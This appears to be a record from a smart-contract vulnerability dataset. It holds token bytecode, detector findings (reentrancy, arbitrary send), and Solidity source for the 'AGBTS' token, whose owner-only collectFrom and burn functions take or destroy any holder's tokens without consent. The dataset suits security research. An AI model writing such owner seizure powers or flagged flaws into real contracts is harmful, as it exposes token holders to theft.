565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146103e85760405162461bcd60e51b81526004016103df90611a56565b60405180910390fd5b60005b815181101561045e576001600a600084848151811061041a57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061045681611b69565b9150506103eb565b5050565b600061046f338484610b11565b5060015b92915050565b6000610486848484610c35565b6104d884336104d385604051806060016040528060288152602001611bd4602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611047565b610b11565b5060019392505050565b6000546001600160a01b0316331461050c5760405162461bcd60e51b81526004016103df90611a56565b600f54600160a01b900460ff16156105665760405162461bcd60e51b815260206004820152601a60248201527f74726164696e6720697320616c7265616479207374617274656400000000000060448201526064016103df565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105a33082683635c9adc5dea00000610b11565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156105dc57600080fd5b505afa1580156105f0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106149190611800565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561065c57600080fd5b505afa158015610670573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106949190611800565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156106dc57600080fd5b505af11580156106f0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107149190611800565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061074481610965565b6000806107596000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156107bc57600080fd5b505af11580156107d0573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107f591906119d6565b5050600f80546729a2241af62c000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561086d57600080fd5b505af1158015610881573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061045e91906119a2565b6000546001600160a01b031633146108cf5760405162461bcd60e51b81526004016103df90611a56565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146109175760405162461bcd60e51b81526004016103df90611a56565b6001600160a01b03166000908152600a60205260409020805460ff19169055565b600c546001600160a01b0316336001600160a01b03161461095857600080fd5b4761096281611081565b50565b6001600160a01b03811660009081526002602052604081205461047390611106565b6000546001600160a01b031633146109b15760405162461bcd60e51b81526004016103df90611a56565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061046f338484610c35565b600c546001600160a01b0316336001600160a01b031614610a2857600080fd5b6000610a3330610965565b90506109628161118a565b6000546001600160a01b03163314610a685760405162461bcd60e51b81526004016103df90611a56565b60008111610ab85760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016103df565b610ad66064610ad0683635c9adc5dea000008461132f565b906113ae565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b735760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103df565b6001600160a01b038216610bd45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103df565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c995760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103df565b6001600160a01b038216610cfb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103df565b60008111610d5d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103df565b6000546001600160a01b03848116911614801590610d8957506000546001600160a01b03838116911614155b15610fea57600f54600160b81b900460ff1615610e70576001600160a01b0383163014801590610dc257506001600160a01b0382163014155b8015610ddc5750600e546001600160a01b03848116911614155b8015610df65750600e546001600160a01b03838116911614155b15610e7057600e546001600160a01b0316336001600160a01b03161480610e305750600f546001600160a01b0316336001600160a01b0316145b610e705760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b60448201526064016103df565b601054811115610e7f57600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610ec157506001600160a01b0382166000908152600a602052604090205460ff16155b610eca57600080fd5b600f546001600160a01b038481169116148015610ef55750600e546001600160a01b03838116911614155b8015610f1a57506001600160a01b03821660009081526005602052604090205460ff16155b8015610f2f5750600f54600160b81b900460ff165b15610f7d576001600160a01b0382166000908152600b60205260409020544211610f5857600080fd5b610f6342603c611afb565b6001600160a01b0383166000908152600b60205260409020555b6000610f8830610965565b600f54909150600160a81b900460ff16158015610fb35750600f546001600160a01b03858116911614155b8015610fc85750600f54600160b01b900460ff165b15610fe857610fd68161118a565b478015610fe657610fe647611081565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061102c57506001600160a01b03831660009081526005602052604090205460ff165b15611035575060005b611041848484846113f0565b50505050565b6000818484111561106b5760405162461bcd60e51b81526004016103df9190611a03565b5060006110788486611b52565b95945050505050565b600c546001600160a01b03166108fc61109b8360026113ae565b6040518115909202916000818181858888f193505050501580156110c3573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110de8360026113ae565b6040518115909202916000818181858888f1935050505015801561045e573d6000803e3d6000fd5b600060065482111561116d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103df565b600061117761141c565b905061118383826113ae565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111e057634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561123457600080fd5b505afa158015611248573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061126c9190611800565b8160018151811061128d57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112b39130911684610b11565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112ec908590600090869030904290600401611a8b565b600060405180830381600087803b15801561130657600080fd5b505af115801561131a573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008261133e57506000610473565b600061134a8385611b33565b9050826113578583611b13565b146111835760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103df565b600061118383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061143f565b806113fd576113fd61146d565b611408848484611490565b80611041576110416005600855600a600955565b6000806000611429611587565b909250905061143882826113ae565b9250505090565b600081836114605760405162461bcd60e51b81526004016103df9190611a03565b5060006110788486611b13565b60085415801561147d5750600954155b1561148457565b60006008819055600955565b6000806000806000806114a2876115c9565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114d49087611626565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115039086611668565b6001600160a01b038916600090815260026020526040902055611525816116c7565b61152f8483611711565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161157491815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006115a382826113ae565b8210156115c057505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006115e68a600854600954611735565b92509250925060006115f661141c565b905060008060006116098e878787611784565b919e509c509a509598509396509194505050505091939550919395565b600061118383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611047565b6000806116758385611afb565b9050838110156111835760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103df565b60006116d161141c565b905060006116df838361132f565b306000908152600260205260409020549091506116fc9082611668565b30600090815260026020526040902055505050565b60065461171e9083611626565b60065560075461172e9082611668565b6007555050565b60008080806117496064610ad0898961132f565b9050600061175c6064610ad08a8961132f565b905060006117748261176e8b86611626565b90611626565b9992985090965090945050505050565b6000808080611793888661132f565b905060006117a1888761132f565b905060006117af888861132f565b905060006117c18261176e8686611626565b939b939a50919850919650505050505050565b80356117df81611bb0565b919050565b6000602082840312156117f5578081fd5b813561118381611bb0565b600060208284031215611811578081fd5b815161118381611bb0565b6000806040838503121561182e578081fd5b823561183981611bb0565b9150602083013561184981611bb0565b809150509250929050565b600080600060608486031215611868578081fd5b833561187381611bb0565b9250602084013561188381611bb0565b929592945050506040919091013590565b600080604083850312156118a6578182fd5b82356118b181611bb0565b946020939093013593505050565b600060208083850312156118d1578182fd5b823567ffffffffffffffff808211156118e8578384fd5b818501915085601f8301126118fb578384fd5b81358181111561190d5761190d611b9a565b8060051b604051601f19603f8301168101818110858211171561193257611932611b9a565b604052828152858101935084860182860187018a1015611950578788fd5b8795505b8386101561197957611965816117d4565b855260019590950194938601938601611954565b5098975050505050505050565b600060208284031215611997578081fd5b813561118381611bc5565b6000602082840312156119b3578081fd5b815161118381611bc5565b6000602082840312156119cf578081fd5b5035919050565b6000806000606084860312156119ea578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a2f57858101830151858201604001528201611a13565b81811115611a405783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ada5784516001600160a01b031683529383019391830191600101611ab5565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b0e57611b0e611b84565b500190565b600082611b2e57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b4d57611b4d611b84565b500290565b600082821015611b6457611b64611b84565b500390565b6000600019821415611b7d57611b7d611b84565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461096257600080fd5b801515811461096257600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122039ad776fc1118375231e1ece2234e45027cfad1cd972824b7c531d7465dc37f064736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,342
0xca09dd9874146250ca0fe8e03aa2266f66efcd61
pragma solidity ^0.5.0; library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } function isOwner() public view returns (bool) { return msg.sender == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { //_transferOwnership(newOwner); _pendingowner = newOwner; emit OwnershipTransferPending(_owner, newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private _pendingowner; event OwnershipTransferPending(address indexed previousOwner, address indexed newOwner); function pendingowner() public view returns (address) { return _pendingowner; } modifier onlyPendingOwner() { require(msg.sender == _pendingowner, "Ownable: caller is not the pending owner"); _; } function claimOwnership() public onlyPendingOwner { _transferOwnership(msg.sender); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused, "Pausable: paused"); _; } modifier whenPaused() { require(paused, "Pausable: not paused"); _; } function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } } contract ERC20Token is IERC20, Pausable { using SafeMath for uint256; using Address for address; string internal _name; string internal _symbol; uint8 internal _decimals; uint256 internal _totalSupply; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowances; constructor(string memory name, string memory symbol, uint8 decimals, uint256 totalSupply) public { _name = name; _symbol = symbol; _decimals = decimals; _totalSupply = totalSupply; _balances[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256 balance) { return _balances[account]; } // Function that is called when a user or another contract wants to transfer funds . function transfer(address recipient, uint256 amount) public whenNotPaused returns (bool success) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 value) public whenNotPaused returns (bool) { _approve(msg.sender, spender, value); return true; } function transferFrom(address sender, address recipient, uint256 amount) public whenNotPaused returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } function increaseAllowance(address spender, uint256 addedValue) public whenNotPaused returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public whenNotPaused returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } // function mint(address account,uint256 amount) public onlyOwner returns (bool) { // _mint(account, amount); // return true; // } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function burn(address account,uint256 amount) public onlyOwner returns (bool) { _burn(account, amount); return true; } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn to the zero address"); _balances[account] = _balances[account].sub(amount); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } } contract AGBTS is ERC20Token { constructor() public ERC20Token("AGBTS Token", "AGBTS", 18, 3000000000 * (10 ** 18)) { } mapping (address => uint256) internal _locked_balances; event TokenLocked(address indexed owner, uint256 value); event TokenUnlocked(address indexed beneficiary, uint256 value); function balanceOfLocked(address account) public view returns (uint256 balance) { return _locked_balances[account]; } function lockToken(address[] memory addresses, uint256[] memory amounts) public onlyOwner returns (bool) { require(addresses.length > 0, "LockToken: address is empty"); require(addresses.length == amounts.length, "LockToken: invalid array size"); for (uint i = 0; i < addresses.length; i++) { _lock_token(addresses[i], amounts[i]); } return true; } function lockTokenWhole(address[] memory addresses) public onlyOwner returns (bool) { require(addresses.length > 0, "LockToken: address is empty"); for (uint i = 0; i < addresses.length; i++) { _lock_token(addresses[i], _balances[addresses[i]]); } return true; } function unlockToken(address[] memory addresses, uint256[] memory amounts) public onlyOwner returns (bool) { require(addresses.length > 0, "LockToken: unlock address is empty"); require(addresses.length == amounts.length, "LockToken: invalid array size"); for (uint i = 0; i < addresses.length; i++) { _unlock_token(addresses[i], amounts[i]); } return true; } function _lock_token(address owner, uint256 amount) internal { require(owner != address(0), "LockToken: lock from the zero address"); require(amount > 0, "LockToken: the amount is empty"); _balances[owner] = _balances[owner].sub(amount); _locked_balances[owner] = _locked_balances[owner].add(amount); emit TokenLocked(owner, amount); } function _unlock_token(address owner, uint256 amount) internal { require(owner != address(0), "LockToken: lock from the zero address"); require(amount > 0, "LockToken: the amount is empty"); _locked_balances[owner] = _locked_balances[owner].sub(amount); _balances[owner] = _balances[owner].add(amount); emit TokenUnlocked(owner, amount); } event Collect(address indexed from, address indexed to, uint256 value); event CollectLocked(address indexed from, address indexed to, uint256 value); //Lock이 해지 되었다. function collectFrom(address[] memory addresses, uint256[] memory amounts, address recipient) public onlyOwner returns (bool) { require(addresses.length > 0, "Collect: collect address is empty"); require(addresses.length == amounts.length, "Collect: invalid array size"); for (uint i = 0; i < addresses.length; i++) { _transfer(addresses[i], recipient, amounts[i]); emit Collect(addresses[i], recipient, amounts[i]); } return true; } function collectFromLocked(address[] memory addresses, uint256[] memory amounts, address recipient) public onlyOwner returns (bool) { require(addresses.length > 0, "Collect: collect address is empty"); require(addresses.length == amounts.length, "Collect: invalid array size"); for (uint i = 0; i < addresses.length; i++) { _unlock_token(addresses[i], amounts[i]); _transfer(addresses[i], recipient, amounts[i]); emit CollectLocked(addresses[i], recipient, amounts[i]); } return true; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } }
0x60806040526004361061015f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610164578063095ea7b3146101f457806314a7a6311461026757806318160ddd146103f857806323b872dd14610423578063313ce567146104b657806339509351146104e75780633f4ba83a1461055a5780634e71e0c8146105715780635c975abb1461058857806370a08231146105b7578063715018a61461061c5780638456cb59146106335780638da5cb5b1461064a5780638f32d59b146106a157806395d89b41146106d05780639dc29fac14610760578063a457c2d7146107d3578063a9059cbb14610846578063b9bcabe9146108b9578063da4a898e14610a4a578063dd62ed3e14610aa1578063e50c652914610b26578063e960bb4814610c03578063f2cb9bea14610c68578063f2fde38b14610dd9578063f612436114610e2a575b600080fd5b34801561017057600080fd5b50610179610f9b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101b957808201518184015260208101905061019e565b50505050905090810190601f1680156101e65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020057600080fd5b5061024d6004803603604081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061103d565b604051808215151515815260200191505060405180910390f35b34801561027357600080fd5b506103de6004803603606081101561028a57600080fd5b81019080803590602001906401000000008111156102a757600080fd5b8201836020820111156102b957600080fd5b803590602001918460208302840111640100000000831117156102db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561033b57600080fd5b82018360208201111561034d57600080fd5b8035906020019184602083028401116401000000008311171561036f57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110d9565b604051808215151515815260200191505060405180910390f35b34801561040457600080fd5b5061040d611363565b6040518082815260200191505060405180910390f35b34801561042f57600080fd5b5061049c6004803603606081101561044657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061136d565b604051808215151515815260200191505060405180910390f35b3480156104c257600080fd5b506104cb6114a3565b604051808260ff1660ff16815260200191505060405180910390f35b3480156104f357600080fd5b506105406004803603604081101561050a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114ba565b604051808215151515815260200191505060405180910390f35b34801561056657600080fd5b5061056f6115e4565b005b34801561057d57600080fd5b5061058661172d565b005b34801561059457600080fd5b5061059d611823565b604051808215151515815260200191505060405180910390f35b3480156105c357600080fd5b50610606600480360360208110156105da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611836565b6040518082815260200191505060405180910390f35b34801561062857600080fd5b5061063161187f565b005b34801561063f57600080fd5b506106486119ba565b005b34801561065657600080fd5b5061065f611b03565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106ad57600080fd5b506106b6611b2c565b604051808215151515815260200191505060405180910390f35b3480156106dc57600080fd5b506106e5611b83565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561072557808201518184015260208101905061070a565b50505050905090810190601f1680156107525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561076c57600080fd5b506107b96004803603604081101561078357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611c25565b604051808215151515815260200191505060405180910390f35b3480156107df57600080fd5b5061082c600480360360408110156107f657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611cb7565b604051808215151515815260200191505060405180910390f35b34801561085257600080fd5b5061089f6004803603604081101561086957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611de1565b604051808215151515815260200191505060405180910390f35b3480156108c557600080fd5b50610a30600480360360608110156108dc57600080fd5b81019080803590602001906401000000008111156108f957600080fd5b82018360208201111561090b57600080fd5b8035906020019184602083028401116401000000008311171561092d57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561098d57600080fd5b82018360208201111561099f57600080fd5b803590602001918460208302840111640100000000831117156109c157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e7d565b604051808215151515815260200191505060405180910390f35b348015610a5657600080fd5b50610a5f61213f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610aad57600080fd5b50610b1060048036036040811015610ac457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612169565b6040518082815260200191505060405180910390f35b348015610b3257600080fd5b50610be960048036036020811015610b4957600080fd5b8101908080359060200190640100000000811115610b6657600080fd5b820183602082011115610b7857600080fd5b80359060200191846020830284011164010000000083111715610b9a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506121f0565b604051808215151515815260200191505060405180910390f35b348015610c0f57600080fd5b50610c5260048036036020811015610c2657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612384565b6040518082815260200191505060405180910390f35b348015610c7457600080fd5b50610dbf60048036036040811015610c8b57600080fd5b8101908080359060200190640100000000811115610ca857600080fd5b820183602082011115610cba57600080fd5b80359060200191846020830284011164010000000083111715610cdc57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190640100000000811115610d3c57600080fd5b820183602082011115610d4e57600080fd5b80359060200191846020830284011164010000000083111715610d7057600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506123cd565b604051808215151515815260200191505060405180910390f35b348015610de557600080fd5b50610e2860048036036020811015610dfc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506125c2565b005b348015610e3657600080fd5b50610f8160048036036040811015610e4d57600080fd5b8101908080359060200190640100000000811115610e6a57600080fd5b820183602082011115610e7c57600080fd5b80359060200191846020830284011164010000000083111715610e9e57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190640100000000811115610efe57600080fd5b820183602082011115610f1057600080fd5b80359060200191846020830284011164010000000083111715610f3257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506126fd565b604051808215151515815260200191505060405180910390f35b606060028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110335780601f1061100857610100808354040283529160200191611033565b820191906000526020600020905b81548152906001019060200180831161101657829003601f168201915b5050505050905090565b6000600160149054906101000a900460ff161515156110c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b6110cf3384846128cc565b6001905092915050565b60006110e3611b2c565b1515611157576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600084511115156111f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f436f6c6c6563743a20636f6c6c656374206164647265737320697320656d707481526020017f790000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b8251845114151561126f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f436f6c6c6563743a20696e76616c69642061727261792073697a65000000000081525060200191505060405180910390fd5b60008090505b8451811015611357576112b7858281518110151561128f57fe5b906020019060200201518486848151811015156112a857fe5b90602001906020020151612b4d565b8273ffffffffffffffffffffffffffffffffffffffff1685828151811015156112dc57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167f1314fd112a381beea61539dbd21ec04afcff2662ac7d1b83273aade1f53d1b97868481518110151561132b57fe5b906020019060200201516040518082815260200191505060405180910390a38080600101915050611275565b50600190509392505050565b6000600554905090565b6000600160149054906101000a900460ff161515156113f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b6113ff848484612b4d565b611498843361149385600760008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e7790919063ffffffff16565b6128cc565b600190509392505050565b6000600460009054906101000a900460ff16905090565b6000600160149054906101000a900460ff16151515611541576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b6115da33846115d585600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f0290919063ffffffff16565b6128cc565b6001905092915050565b6115ec611b2c565b1515611660576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600160149054906101000a900460ff1615156116e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f5061757361626c653a206e6f742070617573656400000000000000000000000081525060200191505060405180910390fd5b6000600160146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611818576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001807f4f776e61626c653a2063616c6c6572206973206e6f74207468652070656e646981526020017f6e67206f776e657200000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b61182133612f8c565b565b600160149054906101000a900460ff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611887611b2c565b15156118fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6119c2611b2c5